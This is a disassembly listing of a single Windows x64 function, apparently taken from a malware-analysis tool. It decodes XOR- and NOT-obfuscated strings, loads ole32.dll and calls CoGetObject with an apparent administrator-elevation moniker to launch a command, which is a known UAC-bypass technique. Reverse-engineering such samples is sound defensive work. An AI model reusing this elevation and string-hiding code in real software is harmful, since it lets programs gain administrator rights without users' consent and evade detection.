Function at 0x1d3aef590
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0x1f8
mov eax, 0xffff81bf
movdqa xmm0, xmmword [0x1d3bda350]
mov word [rsp + 0x114], ax
mov r12, rdx
movabs rax, 0xcbb8cab8b8b9ca87
movabs rdx, 0xc8d1cbccccbfd1c8
mov qword [rsp + 0xc0], rax
mov r13, rcx
movabs rax, 0xbdcacbbed1c9cbb9
mov qword [rsp + 0xc8], rdx
movabs rdx, 0xc5c5ccc8cbc9b9d1
mov qword [rsp + 0xd0], rax
mov eax, 0xffff81bf
mov qword [rsp + 0xd8], rdx
movaps xmmword [rsp + 0xf0], xmm0
movdqa xmm0, xmmword [0x1d3bda360]
mov dword [rsp + 0xe0], 0xc8ceb9c9
mov qword [rsp + 0x38], 0
mov word [rsp + 0xe4], ax
xor eax, eax
mov dword [rsp + 0x110], 0xc8ceb9c9
mov byte [rsp + 0x116], 0
mov byte [rsp + 0xe6], 0
movaps xmmword [rsp + 0x100], xmm0
nop word [rax + rax]
movzx edx, byte [rsp + rax + 0xc0]
xor edx, 0xfffffffc
mov byte [rsp + rax + 0xc0], dl
add rax, 1
cmp rax, 0x26
jne 0x1d3aef660
lea r15, [rsp + 0xc0]
mov esi, 0x6c
mov rcx, r15
call sub.msvcrt.dll_strlen
mov edx, 4
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll_calloc
mov r8, rbx
mov rdx, r15
mov ebx, 0x98
mov rcx, rax
mov r14, rax
mov r15d, 0x6c
call sub.msvcrt.dll_mbstowcs
mov rax, qword [0x1d3bda370]
mov r11d, 0x98
mov dword [rsp + 0xa8], 0x91968d8b
mov word [rsp + 0xac], r11w
mov qword [rsp + 0xa0], rax
movabs rax, 0xac92908db9bbb6b6
mov qword [rsp + 0x1a0], rax
mov dword [rsp + 0x1a8], 0x91968d8b
mov word [rsp + 0x1ac], bx
movzx eax, byte [rsp + 0x1a0]
lea rbx, [rsp + 0xb0]
not eax
mov byte [rsp + 0x1a0], al
movzx eax, byte [rsp + 0x1a1]
not eax
mov byte [rsp + 0x1a1], al
movzx eax, byte [rsp + 0x1a2]
not eax
mov byte [rsp + 0x1a2], al
movzx eax, byte [rsp + 0x1a3]
not eax
mov byte [rsp + 0x1a3], al
movzx eax, byte [rsp + 0x1a4]
not eax
mov byte [rsp + 0x1a4], al
movzx eax, byte [rsp + 0x1a5]
not eax
mov byte [rsp + 0x1a5], al
movzx eax, byte [rsp + 0x1a6]
not eax
mov byte [rsp + 0x1a6], al
movzx eax, byte [rsp + 0x1a7]
not eax
mov byte [rsp + 0x1a7], al
movzx eax, byte [rsp + 0x1a8]
not eax
mov byte [rsp + 0x1a8], al
movzx eax, byte [rsp + 0x1a9]
not eax
mov byte [rsp + 0x1a9], al
movzx eax, byte [rsp + 0x1aa]
not eax
mov byte [rsp + 0x1aa], al
movzx eax, byte [rsp + 0x1ab]
not eax
mov byte [rsp + 0x1ab], al
movzx eax, byte [rsp + 0x1ac]
not eax
mov byte [rsp + 0x1ac], al
mov rax, qword [str.ole32.dlCoInitia]
mov word [rsp + 0x48], si
lea rsi, [rsp + 0x1a0]
mov qword [rsp + 0x40], rax
mov rdx, rsi
movabs rax, 0x6c642e3233656c6f
mov qword [rsp + 0x150], rax
mov word [rsp + 0x158], r15w
movzx eax, byte [rsp + 0x150]
lea r15, [rsp + 0x150]
mov rcx, r15
mov byte [rsp + 0x150], al
movzx eax, byte [rsp + 0x151]
mov byte [rsp + 0x151], al
movzx eax, byte [rsp + 0x152]
mov byte [rsp + 0x152], al
movzx eax, byte [rsp + 0x153]
mov byte [rsp + 0x153], al
movzx eax, byte [rsp + 0x154]
mov byte [rsp + 0x154], al
movzx eax, byte [rsp + 0x155]
mov byte [rsp + 0x155], al
movzx eax, byte [rsp + 0x156]
mov byte [rsp + 0x156], al
movzx eax, byte [rsp + 0x157]
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x158], al
call fcn.1d3ae6130
mov rcx, r14
mov rdx, rbx
mov r14d, 0x80004005
call rax
test eax, eax
je 0x1d3aef8f5
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1d3aef8e0
mov rax, qword [rcx]
call qword [rax + 0x10]
mov eax, r14d
add rsp, 0x1f8
pop rbx
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [0x1d3bda380]
mov rdx, rsi
mov qword [rsp + 0x120], 0
mov r8d, 0x92
mov qword [rsp + 0x130], 0
mov ecx, 0x92
mov qword [rsp + 0x90], rax
movabs rax, 0x616974696e496f43
mov qword [rsp + 0x1a0], rax
mov dword [rsp + 0x1a8], 0x657a696c
mov byte [rsp + 0x1ac], 0
movzx eax, byte [rsp + 0x1a0]
mov qword [rsp + 0x128], 0
mov byte [rsp + 0x1a0], al
movzx eax, byte [rsp + 0x1a1]
mov qword [rsp + 0x138], 0
mov byte [rsp + 0x1a1], al
movzx eax, byte [rsp + 0x1a2]
mov qword [rsp + 0x140], 0
mov byte [rsp + 0x1a2], al
movzx eax, byte [rsp + 0x1a3]
mov qword [rsp + 0x148], 0
mov byte [rsp + 0x1a3], al
movzx eax, byte [rsp + 0x1a4]
mov dword [rsp + 0x120], 0x30
mov byte [rsp + 0x1a4], al
movzx eax, byte [rsp + 0x1a5]
mov dword [rsp + 0x134], 4
mov byte [rsp + 0x1a5], al
movzx eax, byte [rsp + 0x1a6]
mov dword [rsp + 0x98], 0x657a696c
mov byte [rsp + 0x1a6], al
movzx eax, byte [rsp + 0x1a7]
mov byte [rsp + 0x9c], 0
mov byte [rsp + 0x1a7], al
movzx eax, byte [rsp + 0x1a8]
mov byte [rsp + 0x1a8], al
movzx eax, byte [rsp + 0x1a9]
mov word [rsp + 0x58], cx
mov rcx, r15
mov byte [rsp + 0x1a9], al
movzx eax, byte [rsp + 0x1aa]
mov byte [rsp + 0x1aa], al
movzx eax, byte [rsp + 0x1ab]
mov byte [rsp + 0x1ab], al
mov rax, qword [0x1d3bda388]
mov qword [rsp + 0x50], rax
movabs rax, 0x929ad0cccd9b9291
mov qword [rsp + 0x150], rax
mov word [rsp + 0x158], r8w
movzx eax, byte [rsp + 0x150]
xor eax, 0xfffffffe
mov byte [rsp + 0x150], al
movzx eax, byte [rsp + 0x151]
xor eax, 0xfffffffe
mov byte [rsp + 0x151], al
movzx eax, byte [rsp + 0x152]
xor eax, 0xfffffffe
mov byte [rsp + 0x152], al
movzx eax, byte [rsp + 0x153]
xor eax, 0xfffffffe
mov byte [rsp + 0x153], al
movzx eax, byte [rsp + 0x154]
xor eax, 0xfffffffe
mov byte [rsp + 0x154], al
movzx eax, byte [rsp + 0x155]
xor eax, 0xfffffffe
mov byte [rsp + 0x155], al
movzx eax, byte [rsp + 0x156]
xor eax, 0xfffffffe
mov byte [rsp + 0x156], al
movzx eax, byte [rsp + 0x157]
xor eax, 0xfffffffe
mov byte [rsp + 0x157], al
movzx eax, byte [rsp + 0x158]
xor eax, 0xfffffffe
mov byte [rsp + 0x158], al
call fcn.1d3ae6130
xor ecx, ecx
call rax
movdqa xmm0, xmmword [str.Ahar_pekj6_iejeopn_pkn]
mov r9d, 0x7933
movabs rax, 0x6b65705d72616841
movabs rdx, 0x656a6569603d366a
mov r10d, 0x7933
mov qword [rsp + 0x150], rax
movabs rax, 0x1d6e6b705d6e706f
movaps xmmword [rsp + 0x1a0], xmm0
movdqa xmm0, xmmword [0x1d3bda3a0]
mov qword [rsp + 0x158], rdx
movabs rdx, 0x31412f773673616a
mov qword [rsp + 0x160], rax
movabs rax, 0x3d35293542333f42
mov qword [rsp + 0x168], rdx
movabs rdx, 0x2933322f30292d31
movaps xmmword [rsp + 0x1b0], xmm0
movdqa xmm0, xmmword [0x1d3bda3b0]
mov qword [rsp + 0x170], rax
movabs rax, 0x2e2d3d292f322c35
mov qword [rsp + 0x178], rdx
movabs rdx, 0x3f413e4230302e2c
mov qword [rsp + 0x180], rax
xor eax, eax
mov qword [rsp + 0x188], rdx
movaps xmmword [rsp + 0x1c0], xmm0
movdqa xmm0, xmmword [0x1d3bda3c0]
mov word [rsp + 0x190], r10w
mov word [rsp + 0x1e0], r9w
mov byte [rsp + 0x1e2], 0
mov byte [rsp + 0x192], 0
movaps xmmword [rsp + 0x1d0], xmm0
nop word cs:[rax + rax]
movzx edx, byte [rsp + rax + 0x150]
add edx, 4
mov byte [rsp + rax + 0x150], dl
add rax, 1
cmp rax, 0x42
jne 0x1d3aefc40
mov rcx, r15
call sub.msvcrt.dll_strlen
mov edx, 4
mov rcx, rax
mov rsi, rax
call sub.msvcrt.dll_calloc
mov r8, rsi
mov rdx, r15
mov rcx, rax
mov r14, rax
call sub.msvcrt.dll_mbstowcs
mov edx, 0x68
lea rcx, [rsp + 0x6e]
mov rax, qword [0x1d3bda3d0]
mov dword [rsp + 0x80], 0x746365
mov qword [rsp + 0x78], rax
movabs rax, 0x6a624f7465476f43
mov qword [rsp + 0x84], rax
mov dword [rsp + 0x8c], 0x746365
movzx eax, byte [rsp + 0x84]
mov byte [rsp + 0x84], al
movzx eax, byte [rsp + 0x85]
mov byte [rsp + 0x85], al
movzx eax, byte [rsp + 0x86]
mov byte [rsp + 0x86], al
movzx eax, byte [rsp + 0x87]
mov byte [rsp + 0x87], al
movzx eax, byte [rsp + 0x88]
mov byte [rsp + 0x88], al
movzx eax, byte [rsp + 0x89]
mov byte [rsp + 0x89], al
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0x8a], al
movzx eax, byte [rsp + 0x8b]
mov byte [rsp + 0x8b], al
movzx eax, byte [rsp + 0x8c]
mov byte [rsp + 0x8c], al
movzx eax, byte [rsp + 0x8d]
mov byte [rsp + 0x8d], al
movzx eax, byte [rsp + 0x8e]
mov byte [rsp + 0x8e], al
mov rax, qword [0x1d3bda3d8]
mov qword [rsp + 0x60], rax
mov eax, 0x68
mov word [rsp + 0x68], ax
movabs rax, 0x68602a2e2f61686b
mov qword [rsp + 0x6e], rax
mov word [rsp + 0x76], dx
movzx eax, byte [rsp + 0x6e]
lea rdx, [rsp + 0x84]
add eax, 4
mov byte [rsp + 0x6e], al
movzx eax, byte [rsp + 0x6f]
add eax, 4
mov byte [rsp + 0x6f], al
movzx eax, byte [rsp + 0x70]
add eax, 4
mov byte [rsp + 0x70], al
movzx eax, byte [rsp + 0x71]
add eax, 4
mov byte [rsp + 0x71], al
movzx eax, byte [rsp + 0x72]
add eax, 4
mov byte [rsp + 0x72], al
movzx eax, byte [rsp + 0x73]
add eax, 4
mov byte [rsp + 0x73], al
movzx eax, byte [rsp + 0x74]
add eax, 4
mov byte [rsp + 0x74], al
movzx eax, byte [rsp + 0x75]
add eax, 4
mov byte [rsp + 0x75], al
movzx eax, byte [rsp + 0x76]
add eax, 4
mov byte [rsp + 0x76], al
call fcn.1d3ae6130
mov rcx, r14
lea r9, [rsp + 0x38]
mov r8, rbx
lea rdx, [rsp + 0x120]
call rax
mov r14d, eax
test eax, eax
jne 0x1d3aef8d0
mov rcx, r13
call sub.msvcrt.dll_strlen
mov edx, 4
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll_calloc
mov r8, rbx
mov rdx, r13
mov rcx, rax
mov r14, rax
call sub.msvcrt.dll_mbstowcs
test r12, r12
je 0x1d3aefe85
mov rcx, r12
call sub.msvcrt.dll_strlen
mov edx, 4
mov rcx, rax
mov rsi, rax
call sub.msvcrt.dll_calloc
mov rdx, r12
mov r8, rsi
mov rbx, rax
mov rcx, rax
call sub.msvcrt.dll_mbstowcs
mov r12, rbx
mov rcx, qword [rsp + 0x38]
mov rdx, r14
xor r9d, r9d
mov r8, r12
mov rax, qword [rcx]
mov dword [rsp + 0x28], 5
mov dword [rsp + 0x20], 0
call qword [rax + 0x48]
mov r14d, eax
jmp 0x1d3aef8d0